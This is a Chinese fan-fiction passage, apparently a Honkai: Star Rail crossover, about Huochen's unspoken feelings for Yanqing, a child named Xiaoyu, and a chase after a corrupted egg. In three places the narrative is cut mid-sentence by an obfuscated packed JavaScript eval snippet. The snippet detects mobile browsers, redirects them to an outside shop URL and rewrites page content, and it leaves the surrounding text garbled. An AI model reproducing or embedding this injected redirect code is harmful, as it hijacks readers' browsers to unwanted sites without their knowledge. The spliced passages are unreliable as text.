而且他也没什么重要的事要说,只是想说而已,抓着脑袋想了半天话题,才看到彦卿签名那一句“工造司今天上新了吗?”遂通知上新;得知彦卿很忙,遂放弃。 小燃不反驳,只吐槽:“放弃得太快了啦。” 火尘说此言差矣,放弃是一个瞬时动作,要放弃就应该果断、快刀斩乱麻,一直拖着只是徒增烦恼。 回到现在,师姐说要轮流测试,多找几个地方测,火尘同意。 他闭眼,扶着扶手下楼梯,神识与谛听相连,谛听在前面跳了几级楼梯,他就跟着下几级,下最后一级时因为数错一脚踩空,但也还算有惊无险没有摔倒。 轮到师姐,她要挑战在师父的“匣里流光”间闭眼穿行,当作障碍测试。 匣里流光是公输师傅的发明,可以多个装置组合,发射光束摧毁障碍物,是杀伤力很强的武器。上回工造司玄鹿作乱,公输师傅就拿这个装置穿透不少藤蔓。 火尘瞅一眼开关:现在是关闭状态。 不过能把这种装置当路障使,师姐也是心很大了。 他靠在墙边等,念叨两遍“匣里流光”,觉得这名字挺好听,“尺水驻烟柳,流光出宝匣”。 像在指代剑。 像彦卿。 师姐完成了,招呼他:“走!去长乐天!” 他猛地回神,跟上。 最近总是频繁地想起彦卿。见不到人了,才发现这仙舟简直到处都是彦卿的标志物,不停地提醒他—— 他看到燕子想起彦卿,看到柳叶想起彦卿,看到剑想起彦卿,看到星槎海的天空想起彦卿,看到华丽的布料想起彦卿,看到闪闪发光的矿石还是会想起彦卿。 火尘大概知道自己是怎么回事。 火尘隐约觉得自己不该。 这使得他在和彦卿相处时拧巴又别扭,但好在彦卿似乎还无所觉。 小燃:【就不想了?】 火尘:【什么?】 小燃:【继续还是放弃。】 火尘沉默,心道再等等;小燃就学他之前的话:“放弃是一个瞬时动作,要果断、快刀斩乱麻,否则就是徒增烦恼。” 火尘:……你为什么一天到晚拆我台。 小燃轻哼两声,不言语。 他有信心继续拖延下去瞒着彦卿,并非因为彦卿迟钝,相反,那个人相当敏锐,只是满腹心思挂在剑上,不太关注其他事情。 “金人巷最近有庆祝活动你去吗?” “不去。” “欸——为什么?” 彦卿的撒娇功力没什么长进,还是老一套,就这样直白又毫无自觉地亲近别人,不去想对方是不是图谋不轨。 “不想动。” 火尘很欣慰自己养出了一点抗性。 这个话题于是到此为止,之后又是好几天没见着面。 想念一个人就像踩着云走路,每一步都走不实,但轻飘飘的,软乎乎的,就想着不管了,反正当下是幸福的。 彦卿高兴他就高兴,彦卿难过他就难过,情绪从未像现在这般被人牵着走,他也不管,每天睡前都认真期盼明天到来,可以见到新的一天又有了新变化的彦卿。 小燃点评:之前半死不活,现在喜怒无常。 管他呢。 “而且,彦卿守护甜心的事比较重要。”别的都可以往后放一放。 他也需要时间理清楚:谁知道他是不是临时起意,谁知道他是不是辨错感情,又谁知道他会不会在两三年内改变想法。 这些都说不准呢。 “犹豫很正常。”火尘理直气壮。 小燃对他的双标已经习以为常。 火尘回神,师姐还在测试,正正好选在神策府前——因为这里有重兵把守,没什么人路过。 理由很强大,火尘咽回要换地方的话,时不时往神策府方向瞥两眼。 师姐跟他轮换,他精神不太集中,测得不好,但好在这里是平地也没什么障碍物,走得顺顺当当,只快结束时听到路边有人念叨: “山横远翠疑歌黛,彦卿长得没我帅……” 他一个趔趄,摘掉装置就往那头看去——是开拓者,和小聪——日常坐在神策府门口,他在工造司就见过几面,没说过话。 怎么跟小孩子比长相…… 彦卿的名头就这么招人吗! 他在心里嚎,那边两人感受到视线疑惑看过来,他一卡,正好师姐叫他换地方,他抱起谛听就跑了。 这次选在长乐天的居民区角落,有些路人,但不多,就这样慢慢去人更多的地方测试。 测试挺顺利,他在路边坐下等轮换,随便扫一眼,看到广告牌上的飞燕图纹;调转方向,又瞧见桩柱上停着的蓝白色机巧鸟;最后目光停在不远处的三余书肆,望着暖黄色的灯光发呆。 小燃在他口袋翻玉兆。 “干嘛?”火尘掏出来。 小燃:“我查查恋爱脑怎么治。” 他收回去,顺手把守护甜心一起按进去,视线挪到近处的师姐身上:“谁恋爱脑。” 小燃的头可以被按,但嘴不会停: “在守护甜心面前犟嘴显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369906|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得你很傻欸。”“虽然傲娇也算是萌属性吧。” 什么乱七八糟的。 师姐测完过来了,火尘正准备接上轮换,身边冷不丁冒出一个小脑袋: “火尘哥哥。” 他扭头:“小鱼?什么时候来的?” 小鱼想了一下,答得模糊:“刚才。” 小燃:【人家半分钟前就到了。】 完全没感觉。 忽视半分钟也算是忽视,尤其对小鱼这样需要关心的孩子。他有点心虚,接过师姐手中的谛听就往小鱼面前送: “摸摸看?” 谛听日常在仙舟上到处帮忙,比火尘勤快得多,小鱼自然也认识,此时礼貌伸手摸摸,就收回手问: “火尘哥哥,你在做什么?” 师姐插话:“我们在测试这只谛听能不能正常使用。” 小鱼听了一怔,仰头打招呼:“瑶瑶姐姐。” 师姐眉开眼笑。 认识啊。 火尘倒也不意外。 小鱼喜欢听机巧的声音,时常来往工造司,认识的工匠比他都多——一个小小的、独来独往的、父母出身工造司却葬身沙场的目盲天缺者,某种意义上相当显眼,小鱼不知不觉就在工造司的大半工匠里混了个脸熟。 说起来,火尘后知后觉,导盲用谛听不正是给目盲的天缺者用的嘛。 他看向师姐,师姐正拢着裙子蹲他旁边哄人:“小鱼,你帮姐姐做一下测试,等姐姐做成了,就把这个送给你好不好?” “不行,”小鱼很守规矩,又兼之父母离世有些早熟,基本的交易规则还是清楚的,“要花钱买。” “你帮我测试了呀,这是给你的酬劳。” 原来如此,火尘懂了:兴许一开始就是因为小鱼,师姐才会有改装谛听的点子。 不过想哄人收下…… “不行。”小鱼摇头。 果然。 此时小朋友已经测完一圈回来,知道这是个什么东西,也知道测试很简单,就更加不肯接受了。 “谛听很好,一定会有人买,姐姐不要怕。” “等小鱼有钱了,也去给姐姐买。”还挺捧场。 师姐无语凝噎,火尘乐了。 他正想说到时候自己给小鱼买一个,让师姐给个折扣,师姐就扭头一指他:“你火尘哥哥也帮忙测试了,我还没给他报酬呢。” “到时候把谛听送给你们两个,就当是给报酬了,怎么样?” 火尘:我们俩不是在光明正大逃班吗,不扣钱就不错了,什么报酬报酬的…… 小鱼居然犹豫了: “火尘哥哥的报酬,不是钱吗?” “姐姐身上没有那么多钱,所以要拿谛听抵。”师姐笑眯眯。 刚才果断拒绝,现在开始犹豫。 火尘看明白了,不知道该说什么。 小鱼对劳动价值多少还很模糊,但也知道自己只是走了一圈没做什么,所以回绝报酬;然而一带上他,就觉得他的劳动价值很高,需要很多报酬回报,开始犹豫。 他忍不住插话:“我只比你多走了几圈。” 师姐继续对小鱼微笑,顺手给他一肘子:“你火尘哥哥平常这时候都躺在椅子上睡觉对不对?今天走那么久遭老大罪了,结果我还没有钱付报酬!如果这只谛听你们都不收,那他就是打白工了!哎呀好可怜啊我可怜的师弟呜呜呜……” 火尘躲过这一肘子,没躲过师姐的戏,迟疑一瞬就再也找不到机会插嘴。 他看看还在犹豫的小鱼,索性顺从了,和师姐蹲成一排对着小孩耍赖: “我好累,我好困,我忙了一天,我想要那个……” 反正他看得见,师姐也只是想送给小鱼用而已,让小孩心无负担地接受,这也不失为一个好办法。 就听到头顶传来熟悉的铃铛声:“你想要哪个?” 他吓得摔了个屁股墩。 是彦卿。 32.长生短生 彦卿一愣,伸手要拉他起来。他一下子爬起,拍拍身上灰,对上眼,憋不出话,又移开视线。 小鱼乖巧打招呼:“彦卿哥哥好。” 小燃凑过去:“哟,彦卿!” 彦卿弯弯眼,弯弯腰:“小鱼好。” 又压低声音,偷偷地:“小燃好。” 回想和真正见到果然还是有差别。火尘眼也不眨盯着人看,然后在彦卿视线移过来时又一次躲开。 但彦卿也不是什么非要对上眼才肯开口的人,现在就继续问:“火尘,你刚才说想要什么?我当作答谢礼物买给你吧。” 就知道,他就知道。 还没等他推拒,师姐就开口:“他想要这个!”然后把谛听往他怀里一塞,“送你了,收着吧!”冲他眨眨眼,“这是你和小鱼共有的,切记切记。” 火尘默不作声点头:懂的懂的。然后把谛听塞给小鱼。 彦卿没看明白这过程,只看到小鱼收了礼物,就顺手摸摸小孩的头:“真好。” 小鱼抱着谛听,软软应了句“嗯”,回头看他们两个,满脸疑惑。 解释就是掩饰,所以不解释。火尘保持沉默。 彦卿瞧了两眼,说:“我走了。” 这么快就要走?你单纯就过来打招呼顺便吓我的是吧! 他又不爽了,但不爽不能表现出来:“有任务?” “嗯,”彦卿看他,这回瞧得更仔细,也不知道是看出了什么,跟他保证,“不危险。” 所以你不要担心。 他听明白这层意思,那点轻微的不爽就没了,反而不好意思起来,但嘴上依然嘀咕:“谁信你,你嘴里的不危险就是危险,危险就是超超危险……” “真——的不危险,”彦卿无奈拖长音,“只是一个调查任务,地点在金人巷,怎么会危险?” 又冲他眨眨眼,抬手到自己头顶比划:“任务内容就不说了,不过前辈们都说,我这样的小个子,执行这类任务很有优势,没问题的。” 因为会被当作小孩子轻视吧…… “哈,”说着话,手已经比划到他跟前,在他额头位置,火尘一怔,望见对面眼中的惊讶,“火尘你比我高一点!” 他后退一步。 这个人…… 不气也不恼,只是惊讶;距离不远也不近,只是比身高。 可爱。 不对,好幼稚。 火尘不承认自己被比划身高的动作萌到,卡了一会儿才回:“……我比你大一岁。” “哦,也是。” 彦卿看上去就是临时起意,应完他就走了,留火尘在原地摸摸额头,回神时对上小燃看傻子的目光。 小燃:【呵,恋爱脑。】 火尘只是在彦卿面前说不出话,为自己辩解时依然理直气壮:【我不一样,我是清醒恋爱脑。】 师姐还没走,也站起来比划一下,最后以傲人身高压倒在场所有人,抬手拍拍他脑袋,跟拍西瓜似的: “小朋友,还有的长啊。” 他甘拜下风。 闹腾这么一会儿,师姐拿回谛听要最后调试一遍,顺便把小鱼一起拐去工造司了。 火尘回到自己工位,在柜台上趴了一会儿,想起师姐说的入门测试,就用玉兆找了本《机巧设计经典范例》看。 看了一页,师父就找来了,他迅速直起身子,对上一张欣慰的笑脸:“不错不错,孺子可教也~” 我今天看了一页书,师父夸我做得好。 火尘心里念叨,觉得好笑,急忙问:“师父此来所为何事?” “啊,是工造司最近缺人办事,”公输师傅摸摸下巴,“有个叫小聪的工正,天赋异禀、超世之才~奈何最近心思不在机巧上,已经缺勤半月有余~” “我原想遣你帮我去寻人。听说他在长乐天附近游荡,你又是长乐天的守护者,”公输师傅笑眯眯,“不过你在看书,那就算了,我叫别的弟子去~” 火尘不想动,原想厚着脸皮应声“谢谢师父”就继续看书,不经意瞥见师父预备给他看的小聪长相。 这不是那个“彦卿长得没他帅”的大诗人小聪吗? 他迅速关掉玉兆,站起:“我去找他,现在就去。” 师父纳闷应“好啊”,他又瞧两眼玉兆里小聪的照片就猛猛冲。 小燃吐槽:“不知道的还以为你是去寻仇的。” 那不至于。 “我猜他肯定没见过彦卿。”只是听过名头,毕竟跟总角之岁的小孩比长相还是太超前了。 “所以?哦,你是去传教的。” 乱讲。 火尘表情严肃:“我当然是去帮师父找人的,让他赶紧回工造司干活儿。” 小燃白他一眼,缩回口袋也不吵了。 他继续往前,果然在神策府外的木桌边看到了开拓者和小聪。 一个上午过去了,这两个人居然还在这里啊。 “开拓者。”他过去打招呼。 开拓者回身冲他点头,又看向小聪。 小聪和火尘上午匆忙一瞥时大不一样,面上恍恍惚惚,眼神没有聚焦,不知道在看哪里。 火尘靠近,悄悄问:“他怎么了?” 开拓者直言:“表白被拒了。” 小聪身体猛地一抖,哭丧着脸:“你一定要当着我的面讲吗?” 开拓者沉默。 火尘道两声“抱歉”,拉着开拓者到远一点的角落,对面才重新开口,给他讲了小聪的故事。 仙舟虽然也收容他们这些短生种和一些外来物种,但总体上是三种族并存:仙舟本地人、狐族、持明族。小聪是持明族,他的暗恋对象是仙舟人。 “他们上一世在一起,”开拓者想了想补充,“上上世、上上上世、上上上上世也在一起。” 但转世的仅仅是小聪,他没了记忆,每一世都热烈地爱上同一个人;他的恋人却是仙舟人,从几十岁活到几百岁,活着经历了他的四次死亡。 “静斋现在专心工作。” 实在没力气爱人了。 开拓者坦言:“小聪一开始找我帮他看诗好跟静斋表白,后来静斋拜托我帮忙斩断这份缘。” 开拓者很全能,可以两头帮忙,告知了小聪全情后,让这段关系断在了这一世。 所以现在小聪缩在桌边消沉。 火尘脑子空白。 他想起来,自己还在来仙舟的飞船上时,就听人说过: 仙舟人的记忆容量有限,几百年的记忆会随着时间冲刷去,忘记快乐的、正面的,留下极端的、痛苦的负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376509|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面情绪。 而在负面情绪影响下,七八百岁时,仙舟人会魔阴身发作,沦为不可控的怪物。 怪物。 怎么就忘了呢,火尘问自己,怎么就忘了呢。 不对,他没忘,他一直记得的,只是刻意不去想罢了。 彦卿是长生种。 他是短生种。 他记得。 他听见开拓者疑惑的问话声:“火尘?” “嗯。”他应话,发现自己手脚冰凉。 好一会儿,火尘想起来自己要做什么,走到桌边:“师父叫你回去。” 小聪埋在桌上,看起来依旧精神恍惚,好半晌才抬头: “哪个师傅?” “公输师傅。” 而后小聪想了一下,跟开拓者道别:“我走了。” 开拓者摆摆手。 两人一道走了,小聪缀在他身后拖着步子走,依然萎靡不振。火尘瞥他两眼,没多说话,好像自己也被带得萎靡了。 小燃难得安静。 路过一个普通转角,小聪不知道看到什么了,突然就开始哭;火尘站在原地,也很想哭,但到底没有哭,等小聪哭完,问:“你哭好了?” 小聪:“……还没有。” 火尘递纸,看对面擤把鼻涕,推开眼镜抹眼泪,满脸红得很狼狈:“对不住啊小兄弟。” 他安静地看。 把人带回工造司、下班、到家、躺床上——他还是记得那张狼狈的脸。 逊毙了。 火尘抱着枕头蜷成一团,脸埋到枕头里想,自己和小聪或许并无区别。 过不了多久,他大概就要和小聪一样。 一样逊毙了。 想东想西,心情低落,他不知不觉就睡着了,醒来时发现自己忘了关灯,明晃晃的白光晃得人想流眼泪。 他盯着灯看了好一会儿,视野里猝不及防出现一张自己的脸——是小燃,趴在他脸颊边掀他眼皮: “怎么了?做噩梦?” 他慢吞吞坐起,望向窗外明亮的夜色——长乐天的夜色从来都明亮。 “饿了。” 他觉得小燃想翻白眼,但没翻,叹口气问他:“煮泡面?” “不要,”火尘起来洗把脸,又站阳台往下看了会儿人群,完全醒了,做出决策,“我要吃点好的。” 朴素的生活智慧之,化悲愤为食欲。 小燃连着三句都没怼他了,顺着他说:“那去金人巷吃宵夜?” “嗯……” 他应一半,想起彦卿白天说的“任务地点在金人巷”,就想说随便在长乐天下个馆子。 但又想想,心情不好理直气壮想:为什么要躲?有什么好躲的?彦卿又不会嫌我烦,彦卿也不会吃了我。 反倒是他突然疏远,大概会让彦卿觉得自己做错事了。 碰见就碰见,碰见就……就打个招呼呗。 即使没有那层想法,光风霁月的彦卿大人依然是值得交往的人,日后几百年的人生里一定会有数不清的朋友。 反正都数不清了,多他一个怎么了? 只要注意保持距离,慢慢的,那种想法就会消失,他们可以继续当朋友。 没什么大不了的。 火尘深吸一口气。 33.在气头上 金人巷的人比上次来时似乎多了些,仰头看,送外卖的机巧鸟也多了些。 火尘随便找了个有地儿坐的店买吃的,填饱了肚子,又身处人群中,那股难言的惆怅似乎也散了。 不过越是这种热闹地方,结伴出行的人就越多。火尘以前乐得一个人,现在坐这儿看久了,突然觉得自己形单影只好可怜。 烦呐。 “哟。” 正想着,就来人了——狐人少女摇着钱袋靠在门边冲他打招呼,暖黄色的灯光映得人毛绒绒的,没有平时那么亮瞎眼。 是锦书。 “哦,”火尘应声,问话,“你也吃宵夜?” 锦书抬抬下巴:“这是我们商会的店。” 火尘依稀记得:“你不是卖首饰的嘛。” “是我接了个首饰铺而已,翔水什么都卖的,”锦书顺手拉开椅子坐他对面,兴致勃勃开始讲,“这个铺子也许久没开了,不过现在正是好时机,啊,你知不知道最近的金人巷复兴计划,据说有云骑军带头打赌……” 锦书是真的很能说,而且不需要对面给反应,自己说就能很高兴。 他听得魂已经飘了,听到云骑军的时候回一下神,发现不是自己想的那一个就继续飘,直到叫好声在不远处炸开,他惊醒。 回头,人们围作一圈鼓掌,大概是中间有什么表演。 “嗯?”锦书停下,给自己倒杯水,起身,咽完水就招呼他,“走,看看去。” 他不想动,瘫椅子上装死。 锦书自个儿去了,又很快回来,给他描述:“杂技团的王牌对决,两个姑娘在比赛倒立吃面条。” “倒立……”火尘靠着椅背倒头望向人群,“呛到怎么办?” “人家练过的,哪儿那么容易呛到,”锦书倒是又一副很感兴趣的样子,“也不知道是怎么练的。” “呛到了,搞不好面条会从鼻孔里出来。” 锦书卡了一下,才说:“人家两个姑娘,你说这话……” “姑娘怎么了,”火尘不靠着椅背了,改成趴桌上玩筷子,“男的女的都是俩鼻孔,猪牛羊也是俩鼻孔。” ……并不是很想跟人讨论鼻孔。 锦书难言地盯着他瞅了半天,眯起眼:“你吃枪药了?” 小燃在旁边像是要说话,火尘预感不是什么好话,一把捂住小家伙团吧团吧塞进蛋壳: “没有。” 小燃在蛋壳里:…… 看在你心情不好的份上,今天不跟你计较。 火尘坐起,转移话题:“你家那个呢?”记得是叫锦绣,说话态度很温和。 “喏。”锦书没多问,示意他看人群。 人群外围正浮着两只守护甜心,原本守护甜心身形太小不容易看清,这两只却意外能叫人一眼看见,原因无他:都太闪亮了。 锦绣满身首饰自不必说,对面的一身华丽繁复的裙装,笑容灿烂,看起来就像某个地区的公主。两个小家伙正在交谈。 “交到朋友了,不肯回,”锦书耸耸肩,顺手扯他衣领,预备把他拉往人群那边,“走啦,走啦,看看去。” 但火尘就算营养不良也是个十五岁的男生,有些重量在,他不肯起来,锦书就拉不动。 “你现在看起来简直像一滩烂泥,”狐人少女放弃了,重音描述,“稀烂的那种。” “我平常不是吗?”他有良好清晰的自我认知。 锦书想了想,答:“没这么稀。” “……你骂得好脏。”就好像不是稀泥的稀,是窜稀的稀。 旗鼓相当的对手,火尘郑重:“我们彼此彼此了。” …… 不是很想认领这评价。 锦书见喊不动人就走了,小燃探出头来。 饶是他是火尘的守护甜心,也看不明白火尘现在在做什么,最大的可能是,火尘平时说话就很讨嫌,现在心情不好,就变得更讨嫌。 但好在火尘身边的人也不是等闲之辈,可以骂得有来有回。 不过要是碰上那种性格认真、很关心他、同时又不太了解他的人该怎么办呢? 比如彦卿。 他现在最怕碰到彦卿了,而且已知彦卿就在金人巷。 小燃严肃脸想来想去,最后做出决定: 该怎么办怎么办,火尘自己想呗,我想这些干什么。 我只是一只可爱的守护甜心呀。 他从口袋里冒头看看,火尘百无聊赖喝茶发呆,看他出来就把茶杯递过来,他喝了两口,眼瞅着茶杯被放回桌上,喝茶人继续发呆。 他摇摇头:相思病真是害人,怪不得说“害相思”。 火尘不知道自己的守护甜心那么多想法,他趴在桌上,掰手指头数自己认识的人:锦书是狐人、小聪是持明族、白露大人是持明族、小鱼是仙舟人、彦卿是仙舟人…… 他从来不觉得自己寿数短暂,相反还嫌太长了,不知道怎样过完这一生,只是觉得现在死了划不来就赖活着——毕竟苦头吃多了总该享几年清福吧,也不用太多,几年十几年就够了。 现在和那些人一比,就显得很短。 不过长短又该如何定义? 他在长乐天碰到过一个两百多岁还没通过成年考核的仙舟人,那人全无顾虑地说过爸妈会养自己一辈子。 别人怎么活他管不着,只是现在突然想起来了,想着或许那个人舒舒服服地活上一辈子,到七八百岁时依然会嫌人生太短,就跟他现在一样。 客观的东西好比较,主观的却不行。火·大哲学家·尘如是想。 又一阵掌声雷动,还是刚才的方向。火尘回头扫一眼,没见着锦书那个亮闪闪的守护甜心,应该是已经回店里去了。 “去看看不?”这回变成小燃叫他。 “不……”他正应着,周身突然一冷。 黑色气流正如有实质,好似阵阵阴风吹向人群中央,他“唰”一下站起,正见着黑气在杂技场上聚拢,逐渐凝实,看出形状—— 是黑化蛋! 这个黑化蛋似乎和以往相当不同,气息若有若无。火尘费力挤进人群内,扫视一圈却没看到蛋,低头,撞上一张眼熟的脸: “格妮薇儿?” 坐在地上的女孩红棕发单马尾,亮金色眼睛里有一对醒目的菱形,抬头错愕看他:“前辈?” 没认错人,但现在不是叙旧的时候。 火尘瞧见她身边的守护甜心,张口:“它往哪边跑了?” 格妮薇儿怀里抱着一个昏过去的杂技演员,迅速会意抬手一指:“那边!” 火尘扭头顺着方向 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姑娘停下,扭头:“它是不是故意的?” 故意的,绝对是故意的。 什么长生短生的破心思都消失了。火尘咬牙:“就不信今天抓不到……” 他扭头看看四周,瞧见一家茶馆,眼一亮,把网兜递过去:“姑娘,你看那茶馆,上到二楼从窗口用这个去抓,兴许能抓住。” “我们二人分头行动,一人在楼下吸引它注意力,一人上楼去抓。” “明白了,我去抓吧,”姑娘接过网兜,想起,“没抓住怎么办?” 凉拌。 “就叫别人来抓。” 意思是他就不管了,但对面姑娘显然没听出来,认真点头:“明白。” 他们两个商量计划久久没动静,黑化蛋在上空转悠来去,突然向下俯冲,朝火尘脑袋上狠狠撞了一下! “嘶——” “哎!”姑娘趁机抓着网兜一扑,还是没扑到,扭头,“你没事吧?” 火尘抬头,额头上肿起一个大包,身边姑娘看了都倒吸一口凉气。 黑化蛋还在上空,得意洋洋跳来跳去: 【笨蛋、笨蛋~】 【不爱看杂技的人都是笨蛋~】 他死死盯着那个蛋,气急反笑:“哈哈。” “你、你怎么了?” 火尘顶着大包捋袖子,微笑应:“没事。” 开玩笑。 他今天就要拿这个黑化蛋……来祭他名字里这把火! 视野突然被遮挡,他一愣,柔软同云朵一般的守护甜心出现在眼前。 楼上传来熟悉的声音:“借你啦,快试试吧。” 他抬头,正见着茶馆二楼窗口,小龙尊探头望来,两手托着脸颊,尾巴在身后快活地摆动:“记得还我就行。” 还什么? “让不擅长跳跃的孩子高高跃起——”白云的声音柔软又叫人猝不及防,“形象改造!” 下一瞬,在人群的惊呼中,火尘看到了突然变远的地面,还没反应过来发生了什么,抬眼看到黑化蛋突然变近,又受惊一般要逃走,咬牙抬手一抓: 看你爷爷今天收不收拾你吧! 34.撞个满怀 没抓到。 火尘落在屋檐,稍一借力,跃起时又是七八丈高。 他追着黑化蛋从一个屋檐蹦到另一个屋檐,落在那些造型繁复华丽的飞檐和琉璃瓦片上时,竟然羽毛一般一丝响动也无。 好轻,好快,风好舒服,可以看好远。 他看见金人巷洞天的尽头,货运星槎正在深紫浅紫的暮色中缓缓离开,照明用的白光一束一束打在航道上,低头瞧见游人在暖黄色的灯光中穿行,商铺的广告牌交相辉映。 好漂亮。 怪不得彦卿总是在飞。 小燃:“用着白露大人的能力想彦卿吗,不愧是你。” 哎呀你好烦! 火尘又又又把自家守护甜心往口袋里按,完事迅速回神往下跳。 金人巷几条巷子互相交汇四通八达,把那个黑化蛋逼进眼前这个死胡同可费了他好大的力——指费好大力才找到死胡同,说不准是金人巷唯一一个死胡同。 他落在矮檐上平复呼吸,看见黑化蛋慌不择路撞上洞天边缘的空气墙,阴阳怪气冷笑: “跑啊~” “怎么不跑啦~” 反派戏码。 当反派真爽,他暗自点头。 黑化蛋闹腾地在空中乱蹦,似乎骂得很脏,可骂一半突然顿住,猛地往附近屋子方向一蹿! “你还真跑啊,”火尘知道那边也是死路,倒是不慌,形象改造还没结束,他纵身跃下,“束手就擒吧!” 就在此时,变故突生——屋子门正好打开,里面走出一个人,火尘没刹住,一下撞了上去! 糟糕糟糕! 房间内走出的人却接住他,轻松得像是顺手,“唔”了一声,似是疑惑。他那么大一个人从三楼高度直直撞下来,对这人来说跟没有重量似的。 谁? 他愣神,视线穿过对方臂弯往后看,看见黑化蛋已经被冻住了。 低头,看见银腰带上燕子形状的装饰,闪亮醒目又特殊,细细的柳叶纹自腰间垂向下摆,和下端的流云纹相得益彰。 哈、哈哈,好眼熟的衣服。 是彦卿。 他撞彦卿怀里了,现在脑袋还埋在人家胸口不肯起来,两手扒拉人家衣服。 彦卿衣服料子很好。 该起来的,但火尘不合时宜地开始游神。 他想起过去打零工,帮人搬货时摸过一匹名贵布料,摸着很舒服,但是怕摸坏了要赔钱,所以碰了两下就不再碰了。 现在也是这样:不敢动,又不想起来,就这么定着。 定久了,闻到彦卿身上有一股好闻的香气,像他残存记忆里的故乡——一场春雨后,花、水、草木、泥土的气息,混杂在一起,清新浅淡,说是香气有点不太准确了。 更像是一种让人安心的气息。 让他回忆起一个画面,那个画面中的彦卿似乎就该配这样的气息,干净的、富有生机的、让人想到春天的气息。 过去了好一会儿,火尘觉得再不起来就太不礼貌了。 他以为彦卿会催他起来,或者发出些惯常用以表达疑惑的气音,那样他肯定会一下子弹起。 可彦卿半点声都没有,陪他定了好一会儿,就再自然不过地抱着他开始问:“发生什么事了?” 不是? 给点反应啊朋友! 就连这句也不是问他,是问来人,他听见身后杂乱的跑步声,然后是格妮薇儿气喘吁吁开口解释:“那个蛋是我们杂技团的成员的,我把她带过来了,就在这里!” 彦卿恍然:“辛苦姑娘。” 又有人开口了,听声音是刚才那热心姑娘:“那位小兄弟是一路追着黑化蛋过来的,绝对不是故意撞你啊彦卿骁卫!” 挨了撞的人很好脾气,一句一句应话: “好,我知道。” 你知道吗,你真的知道吗? 白露:“放心,他们认识啦。哦对,彦卿,我借白云给火尘形象改造了。” “哦?好。” 白露大人也来了。 锦书声音很兴奋:“彦卿骁卫,我们又见面了!你上回怎么不表明身份?我还当是自己胡思乱想多心了。” “是彦卿疏忽了。” 锦书也在。 火尘:…… 好多人啊。 这下更加不想起来了。 他埋在彦卿怀里装鸵鸟,迟迟没动静,格妮薇儿着急问:“哎,这位、骁卫,火尘没事吧?” “大概。” 他听见彦卿小声问他,关切的话里夹着些许笑意:“没事吧?” 这人在笑他。 火尘猛地往后退,彦卿两手松开,任由他退出去。 退出去之后就得直起身子面对面,彦卿就在他面前,身边还跟着一个云骑打扮的人。 彦卿见了他正脸,笑容转为惊讶,拧起眉头,抬手并指探来。 火尘没看懂这情绪变化,下一刻只感觉额头的大包边缘冰冰凉凉,好像一下就不疼了,彦卿运力时带出的冰晶在暖色的灯光里闪闪发亮,吸引视线。 他脑子“轰”的一声,一下又后退两步,觉得太刻意,又前进两步,绕过彦卿到冰柱边,转移话题:“这个蛋……” 格妮薇儿被提醒了,背着同伴移过来:“这里这里!” 在场众人迅速围到黑化蛋边,彦卿抬手解冻,火尘退出形象改造,白云回到白露身边。 看着黑化蛋在白露的治愈技能下开始变白,火尘长呼一口气。 格妮薇儿弯腰近距离看那个蛋,盯了好一会儿,问:“为什么会黑化呢?”问话声很轻,简直像在自问,但大家靠得很近都能听见。 绑着双马尾的热心姑娘接话:“会不会是因为最近金人巷人流太大,你们一天表演好多场,她太累了?” 火尘抬眼看去,对方马上注意到他视线,立马道:“我叫素裳。” 他想想,客气道:“方才多谢姑娘。” “哎,小事小事,”素裳大方摆手,“我也是云骑军,有事可以找我帮忙,虽然没有彦卿骁卫那么厉害嘿嘿。” 彦卿显然也认识她,认真道:“素裳姑娘能举起手中那把重剑,实力在新兵中已然不俗。” 素裳嘿嘿笑,不好意思地摸摸自己脑袋。 火尘正疑惑格妮薇儿怎么不答话,就听到白露“嗯?”一声。 “奇怪。” 几人注意力都回到蛋上——如今是半黑半白的状态。 “白露大人,净化不了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384957|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彦卿把蛋重新冻上。 “嗯,这个蛋比我想象的还顽固,硬要净化也是可以的啦,”白露苦恼,“只是劲儿使大了,回去会萎靡一阵,那些人肯定能瞧出来我偷跑的。” “最近管得比之前还要严好多,都不知道下次什么时候才能再跑出来……” “所以,”彦卿接话,“白露大人是想用之前计划的那个法子?” “嗯!”白露正色,“你、我、素裳,还有火尘!现在这里足足有四个守护者呢!我觉得可以尝试。” 彦卿点头。 火尘和另外两人面面相觑,素裳好奇开口:“什么法子?” “简单来说,就是找出她黑化的原因,解决她的心病。” 至于怎么找原因……通常情况下,负面情绪会被持有者压在心里,黑化之后却会更直白地表现出来。 素裳听明白了:“就是说,得先让她彻底黑化一次?” 心病还需心药医,就算这个法子行不通,也还有白露大人托底,确实可以尝试。 火尘心里赞同了,侧眼看向格妮薇儿——作为把杂技团同伴一路背到这里的人,她提问之后就一直没说话。 